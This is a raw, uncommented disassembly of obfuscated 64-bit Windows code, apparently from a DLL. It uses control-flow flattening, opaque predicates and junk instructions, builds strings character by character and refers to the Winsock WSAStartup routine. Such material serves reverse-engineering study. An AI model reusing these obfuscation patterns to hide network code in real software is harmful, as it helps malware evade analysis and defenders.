cmp byte [rsp + 0x48], 0
mov eax, 0x117a5aa2
mov esi, 0x369743b
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b54a0
mov dword [rsp + 0x70], 6
mov ebp, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b54a0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 2], cx
mov dword [rsp + 0x48], 0x67
mov edx, 0x21587ead
nop
cmp edx, 0x8cf96cc
je 0x1800b5fa4
cmp edx, 0x21587ead
jne 0x1800b5570
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xefcd29e
je 0x1800b55d8
cmp edx, 0x13896f2d
jne 0x1800b55a0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b55a0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b5570
mov byte [rsp + 0x298], al
mov al, byte [rsp + 0x298]
mov edx, dword [rsp + 0x70]
add dl, al
mov byte [rsp + 0x169], dl
mov dword [rsp + 0x70], WSAStartup
mov edx, 0x1de76d63
nop dword [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b6040
cmp edx, 0x1de76d63
jne 0x1800b5620
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b5670
cmp eax, 0x5225b5c7
je 0x1800b56bf
cmp eax, 0x3c788574
je 0x1800b5682
cmp eax, 0x150df70d
jne 0x1800b5640
mov dword [rsp + 0x298], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b5640
cmp eax, 0xc47262e3
je 0x1800b56aa
cmp eax, 0xcdaf8623
jne 0x1800b5640
mov eax, ecx
jmp 0x1800b5640
movsxd rdx, dword [rsp + 0x298]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b5640
mov eax, dword [rsp + 0x298]
mov eax, dword [rsp + 0x298]
mov eax, 0x3c788574
jmp 0x1800b5640
mov byte [rsp + 0x40], dl
mov al, byte [rsp + 0x40]
mov edx, 0xa132f20c
jmp 0x1800b5620
mov dword [rsp + 0x70], WSAStartup
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1aa], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop dword [rax + rax]
cmp eax, 0x1fbde8f1
jg 0x1800b5740
cmp eax, 0xd2fca98e
je 0x1800b5772
cmp eax, 0xebe17d3
je 0x1800b5779
cmp eax, 0x18f93051
jne 0x1800b5710
jmp 0x1800b6121
cmp eax, 0x1fbde8f2
je 0x1800b5780
cmp eax, 0x5f0dfb2f
je 0x1800b5784
cmp eax, 0x4e6cc85c
jne 0x1800b5710
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b5710
mov eax, 0x1fbde8f2
jmp 0x1800b5710
mov eax, 0x5f0dfb2f
jmp 0x1800b5710
mov eax, ebx
jmp 0x1800b5710
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b57a0
cmp eax, 0x3e50374a
jne 0x1800b5790
jmp 0x1800b57a7
mov eax, 0x3e50374a
jmp 0x1800b5790
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b5710
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 1], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
cmp edx, 0xeae3817
je 0x1800b6216
cmp edx, 0xdfbe209
jne 0x1800b57e0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b582b
cmp edx, 0x698c8bdd
jne 0x1800b5810
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b5810
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x69
mov edx, 0xeae3817
jmp 0x1800b57e0
mov dword [rsp + 0x70], WSAStartup
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1ac], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop word cs:[rax + rax]
nop
cmp eax, 0x1fbde8f1
jg 0x1800b58b0
cmp eax, 0xd2fca98e
je 0x1800b58e2
cmp eax, 0xebe17d3
je 0x1800b58e9
cmp eax, 0x18f93051
jne 0x1800b5880
jmp 0x1800b628d
cmp eax, 0x1fbde8f2
je 0x1800b58f0
cmp eax, 0x5f0dfb2f
je 0x1800b58f4
cmp eax, 0x4e6cc85c
jne 0x1800b5880
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b5880
mov eax, 0x1fbde8f2
jmp 0x1800b5880
mov eax, 0x5f0dfb2f
jmp 0x1800b5880
mov eax, ebx
jmp 0x1800b5880
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b5910
cmp eax, 0x3e50374a
jne 0x1800b5900
jmp 0x1800b5917
mov eax, 0x3e50374a
jmp 0x1800b5900
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b5880
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 1], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
cmp edx, 0xeae3817
je 0x1800b6386
cmp edx, 0xdfbe209
jne 0x1800b5950
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b599b
cmp edx, 0x698c8bdd
jne 0x1800b5980
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b5980
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x69
mov edx, 0xeae3817
jmp 0x1800b5950
mov dword [rsp + 0x298], 0x74
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
add cx, ax
mov word [rsp + 0x1fe], cx
lea rax, [rsp + 0x200]
mov qword [rsp + 0x70], rax
mov eax, 0x9ad0fa5e
nop word cs:[rax + rax]
cmp eax, 0x1fb3b665
je 0x1800b63fd
cmp eax, 0x9ad0fa5e
jne 0x1800b59f0
mov ecx, 0x66a53b08
nop word [rax + rax]
cmp ecx, 0x45c64127
je 0x1800b5a77
cmp ecx, 0x66a53b08
jne 0x1800b5a10
mov eax, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp eax, 0x32175fe9
je 0x1800b5a40
cmp eax, 0x9dbef50
jne 0x1800b5a30
jmp 0x1800b5a47
mov eax, 0x9dbef50
jmp 0x1800b5a30
mov dword [rsp + 0x40], 0xb577
movsxd rax, dword [rsp + 0x40]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0x45c64127
jmp 0x1800b5a10
mov dword [rsp + 0x40], 0x65
mov word [rsp + 0x48], ax
movzx eax, word [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
add cx, ax
mov rax, qword [rsp + 0x70]
mov word [rax], cx
mov rax, qword [rsp + 0x70]
mov edx, 0x66a53b08
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x45c64127
je 0x1800b5b19
cmp edx, 0x66a53b08
jne 0x1800b5ab0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800b5ae2
cmp ecx, 0x9dbef50
jne 0x1800b5ad0
jmp 0x1800b5ae9
mov ecx, 0x9dbef50
jmp 0x1800b5ad0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b5ab0
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 2], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800b5ba9
cmp edx, 0x66a53b08
jne 0x1800b5b40
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800b5b72
cmp ecx, 0x9dbef50
jne 0x1800b5b60
jmp 0x1800b5b79
mov ecx, 0x9dbef50
jmp 0x1800b5b60
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b5b40
mov dword [rsp + 0x40], 0x74
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 4], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800b5c39
cmp edx, 0x66a53b08
jne 0x1800b5bd0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800b5c02
cmp ecx, 0x9dbef50
jne 0x1800b5bf0
jmp 0x1800b5c09
mov ecx, 0x9dbef50
jmp 0x1800b5bf0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b5bd0
mov dword [rsp + 0x40], 0x2d
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 6], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800b5cc9
cmp edx, 0x66a53b08
jne 0x1800b5c60
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800b5c92
cmp ecx, 0x9dbef50
jne 0x1800b5c80
jmp 0x1800b5c99
mov ecx, 0x9dbef50
jmp 0x1800b5c80
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b5c60
mov dword [rsp + 0x40], 0x54
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 8], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800b5d59
cmp edx, 0x66a53b08
jne 0x1800b5cf0
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800b5d22
cmp ecx, 0x9dbef50
jne 0x1800b5d10
jmp 0x1800b5d29
mov ecx, 0x9dbef50
jmp 0x1800b5d10
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b5cf0
mov dword [rsp + 0x40], 0x79
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0xa], dx
mov edx, 0x66a53b08
nop dword [rax + rax]
cmp edx, 0x45c64127
je 0x1800b5de9
cmp edx, 0x66a53b08
jne 0x1800b5d80
mov ecx, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp ecx, 0x32175fe9
je 0x1800b5db2
cmp ecx, 0x9dbef50
jne 0x1800b5da0
jmp 0x1800b5db9
mov ecx, 0x9dbef50
jmp 0x1800b5da0
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b5d80
mov dword [rsp + 0x40], WSAStartup
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x48]
mov edx, dword [rsp + 0x40]
add dx, cx
mov word [rax + 0xc], dx
add rax, 0xe
mov qword [rsp + 0x298], rax
mov ecx, 0x66a53b08
nop word [rax + rax]
cmp ecx, 0x45c64127
je 0x1800b5e87
cmp ecx, 0x66a53b08
jne 0x1800b5e20
mov eax, 0x32175fe9
nop word cs:[rax + rax]
nop
cmp eax, 0x32175fe9
je 0x1800b5e50
cmp eax, 0x9dbef50
jne 0x1800b5e40
jmp 0x1800b5e57
mov eax, 0x9dbef50
jmp 0x1800b5e40
mov dword [rsp + 0x40], 0xb577
movsxd rax, dword [rsp + 0x40]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0x45c64127
jmp 0x1800b5e20
mov dword [rsp + 0x40], 0x65
mov word [rsp + 0x48], ax
movzx eax, word [rsp + 0x48]
mov ecx, dword [rsp + 0x40]
add cx, ax
mov rax, qword [rsp + 0x298]
mov word [rax], cx
mov eax, 0x1fb3b665
jmp 0x1800b59f0
mov dword [rsp + 0x70], 0x63
mov word [rsp + 0x40], bp
movzx eax, word [rsp + 0x40]
mov edx, dword [rsp + 0x70]
add dx, ax
test cl, 1
mov word [rsp + 0x29c], dx
sete byte [rsp + 0x58]
cmp edi, 0xa
setl byte [rsp + 0x48]
mov eax, 0xe371ccc2
nop dword [rax + rax]
cmp eax, 0x117a5aa1
jle 0x1800b5f20
cmp eax, 0x117a5aa2
je 0x1800b5f39
cmp eax, 0x352435fc
je 0x1800b5f40
cmp eax, 0x36430429
jne 0x1800b5ef0
jmp 0x1800b6479
cmp eax, 0xc93ff860
je 0x1800b5f67
cmp eax, 0xe371ccc2
je 0x1800b5f6e
cmp eax, 0x369743b
jne 0x1800b5ef0
mov eax, ebx
jmp 0x1800b5ef0
mov eax, 0x369743b
jmp 0x1800b5ef0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b5f60
cmp eax, 0xe0743747
jne 0x1800b5f50
jmp 0x1800b5f8e
mov eax, 0xe0743747
jmp 0x1800b5f50
mov eax, 0x352435fc
jmp 0x1800b5ef0
mov dl, byte [rsp + 0x58]
cmp byte [rsp + 0x48], 0
mov eax, 0x117a5aa2
mov esi, 0x369743b
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b5ef0
mov dword [rsp + 0x70], 6
mov ebp, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b5ef0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 4], cx
mov dword [rsp + 0x48], 0x74
mov edx, 0x21587ead
nop
cmp edx, 0x8cf96cc
je 0x1800b6564
cmp edx, 0x21587ead
jne 0x1800b5fc0
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xefcd29e
je 0x1800b6028
cmp edx, 0x13896f2d
jne 0x1800b5ff0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b5ff0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b5fc0
mov byte [rsp + 0x298], al
mov al, byte [rsp + 0x298]
mov edx, dword [rsp + 0x70]
add dl, al
mov byte [rsp + 0x16a], dl
mov dword [rsp + 0x70], 0x48
mov edx, 0x1de76d63
nop dword [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b6600
cmp edx, 0x1de76d63
jne 0x1800b6070
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b60c0
cmp eax, 0x5225b5c7
je 0x1800b610f
cmp eax, 0x3c788574
je 0x1800b60d2
cmp eax, 0x150df70d
jne 0x1800b6090
mov dword [rsp + 0x298], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b6090
cmp eax, 0xc47262e3
je 0x1800b60fa
cmp eax, 0xcdaf8623
jne 0x1800b6090
mov eax, ecx
jmp 0x1800b6090
movsxd rdx, dword [rsp + 0x298]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b6090
mov eax, dword [rsp + 0x298]
mov eax, dword [rsp + 0x298]
mov eax, 0x3c788574
jmp 0x1800b6090
mov byte [rsp + 0x40], dl
mov al, byte [rsp + 0x40]
mov edx, 0xa132f20c
jmp 0x1800b6070
mov dword [rsp + 0x70], WSAStartup
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1ac], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop dword [rax + rax]
cmp eax, 0x1fbde8f1
jg 0x1800b6190
cmp eax, 0xd2fca98e
je 0x1800b61c2
cmp eax, 0xebe17d3
je 0x1800b61c9
cmp eax, 0x18f93051
jne 0x1800b6160
jmp 0x1800b66e1
cmp eax, 0x1fbde8f2
je 0x1800b61d0
cmp eax, 0x5f0dfb2f
je 0x1800b61d4
cmp eax, 0x4e6cc85c
jne 0x1800b6160
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b6160
mov eax, 0x1fbde8f2
jmp 0x1800b6160
mov eax, 0x5f0dfb2f
jmp 0x1800b6160
mov eax, ebx
jmp 0x1800b6160
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b61f0
cmp eax, 0x3e50374a
jne 0x1800b61e0
jmp 0x1800b61f7
mov eax, 0x3e50374a
jmp 0x1800b61e0
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b6160
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 2], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
cmp edx, 0xeae3817
je 0x1800b67d6
cmp edx, 0xdfbe209
jne 0x1800b6230
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b627b
cmp edx, 0x698c8bdd
jne 0x1800b6260
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b6260
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x74
mov edx, 0xeae3817
jmp 0x1800b6230
mov dword [rsp + 0x70], WSAStartup
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1ae], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop word cs:[rax + rax]
nop
cmp eax, 0x1fbde8f1
jg 0x1800b6300
cmp eax, 0xd2fca98e
je 0x1800b6332
cmp eax, 0xebe17d3
je 0x1800b6339
cmp eax, 0x18f93051
jne 0x1800b62d0
jmp 0x1800b684d
cmp eax, 0x1fbde8f2
je 0x1800b6340
cmp eax, 0x5f0dfb2f
je 0x1800b6344
cmp eax, 0x4e6cc85c
jne 0x1800b62d0
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne eax, ebp
test dl, dl
cmovne eax, ebp
jmp 0x1800b62d0
mov eax, 0x1fbde8f2
jmp 0x1800b62d0
mov eax, 0x5f0dfb2f
jmp 0x1800b62d0
mov eax, ebx
jmp 0x1800b62d0
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b6360
cmp eax, 0x3e50374a
jne 0x1800b6350
jmp 0x1800b6367
mov eax, 0x3e50374a
jmp 0x1800b6350
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ecx, ax
mov eax, 0x18f93051
jmp 0x1800b62d0
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 2], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
cmp edx, 0xeae3817
je 0x1800b7589
cmp edx, 0xdfbe209
jne 0x1800b63a0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b63eb
cmp edx, 0x698c8bdd
jne 0x1800b63d0
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b63d0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x74
mov edx, 0xeae3817
jmp 0x1800b63a0
mov rax, qword [rsp + 0x298]
mov edx, 0x66a53b08
nop word [rax + rax]
cmp edx, 0x45c64127
je 0x1800b75fd
cmp edx, 0x66a53b08
jne 0x1800b6410
mov ecx, 0x32175fe9
nop dword [rax]
cmp ecx, 0x32175fe9
je 0x1800b6442
cmp ecx, 0x9dbef50
jne 0x1800b6430
jmp 0x1800b6449
mov ecx, 0x9dbef50
jmp 0x1800b6430
mov dword [rsp + 0x40], 0xb577
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0x45c64127
jmp 0x1800b6410
mov dword [rsp + 0x70], 0x65
mov word [rsp + 0x40], bp
movzx eax, word [rsp + 0x40]
mov edx, dword [rsp + 0x70]
add dx, ax
test cl, 1
mov word [rsp + 0x29e], dx
sete byte [rsp + 0x58]
cmp edi, 0xa
setl byte [rsp + 0x48]
mov eax, 0xe371ccc2
nop
cmp eax, 0x117a5aa1
jle 0x1800b64e0
cmp eax, 0x117a5aa2
je 0x1800b64f9
cmp eax, 0x352435fc
je 0x1800b6500
cmp eax, 0x36430429
jne 0x1800b64b0
jmp 0x1800b7689
cmp eax, 0xc93ff860
je 0x1800b6527
cmp eax, 0xe371ccc2
je 0x1800b652e
cmp eax, 0x369743b
jne 0x1800b64b0
mov eax, ebx
jmp 0x1800b64b0
mov eax, 0x369743b
jmp 0x1800b64b0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b6520
cmp eax, 0xe0743747
jne 0x1800b6510
jmp 0x1800b654e
mov eax, 0xe0743747
jmp 0x1800b6510
mov eax, 0x352435fc
jmp 0x1800b64b0
mov dl, byte [rsp + 0x58]
cmp byte [rsp + 0x48], 0
mov eax, 0x117a5aa2
mov esi, 0x369743b
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b64b0
mov dword [rsp + 0x70], 6
mov ebp, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b64b0
mov word [rsp + 0x40], cx
movzx ecx, word [rsp + 0x40]
mov word [rax + 6], cx
mov dword [rsp + 0x48], 0x68
mov edx, 0x21587ead
nop
cmp edx, 0x8cf96cc
je 0x1800b7774
cmp edx, 0x21587ead
jne 0x1800b6580
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xefcd29e
je 0x1800b65e8
cmp edx, 0x13896f2d
jne 0x1800b65b0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b65b0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b6580
mov byte [rsp + 0x298], al
mov al, byte [rsp + 0x298]
mov edx, dword [rsp + 0x70]
add dl, al
mov byte [rsp + 0x16b], dl
mov dword [rsp + 0x70], 0x74
mov edx, 0x1de76d63
nop dword [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b7810
cmp edx, 0x1de76d63
jne 0x1800b6630
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b6680
cmp eax, 0x5225b5c7
je 0x1800b66cf
cmp eax, 0x3c788574
je 0x1800b6692
cmp eax, 0x150df70d
jne 0x1800b6650
mov dword [rsp + 0x298], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b6650
cmp eax, 0xc47262e3
je 0x1800b66ba
cmp eax, 0xcdaf8623
jne 0x1800b6650
mov eax, ecx
jmp 0x1800b6650
movsxd rdx, dword [rsp + 0x298]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b6650
mov eax, dword [rsp + 0x298]
mov eax, dword [rsp + 0x298]
mov eax, 0x3c788574
jmp 0x1800b6650
mov byte [rsp + 0x40], dl
mov al, byte [rsp + 0x40]
mov edx, 0xa132f20c
jmp 0x1800b6630
mov dword [rsp + 0x70], WSAStartup
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1ae], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop dword [rax + rax]
cmp eax, 0x1fbde8f1
jg 0x1800b6750
cmp eax, 0xd2fca98e
je 0x1800b6782
cmp eax, 0xebe17d3
je 0x1800b6789
cmp eax, 0x18f93051
jne 0x1800b6720
jmp 0x1800b78f1
cmp eax, 0x1fbde8f2
je 0x1800b6790
cmp eax, 0x5f0dfb2f
je 0x1800b6794
cmp eax, 0x4e6cc85c
jne 0x1800b6720
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov ebp, 0x1fbde8f2
cmovne eax, ebp
test dl, dl
cmovne eax, ebp
jmp 0x1800b6720
mov eax, 0x1fbde8f2
jmp 0x1800b6720
mov eax, 0x5f0dfb2f
jmp 0x1800b6720
mov eax, ebx
jmp 0x1800b6720
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b67b0
cmp eax, 0x3e50374a
jne 0x1800b67a0
jmp 0x1800b67b7
mov eax, 0x3e50374a
jmp 0x1800b67a0
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ecx, ax
mov eax, 0x18f93051
jmp 0x1800b6720
mov byte [rsp + 0x40], cl
mov cl, byte [rsp + 0x40]
mov byte [rax + 3], cl
mov edx, 0xdfbe209
nop word cs:[rax + rax]
cmp edx, 0xeae3817
je 0x1800b8629
cmp edx, 0xdfbe209
jne 0x1800b67f0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b683b
cmp edx, 0x698c8bdd
jne 0x1800b6820
mov ecx, dword [rsp + 0x40]
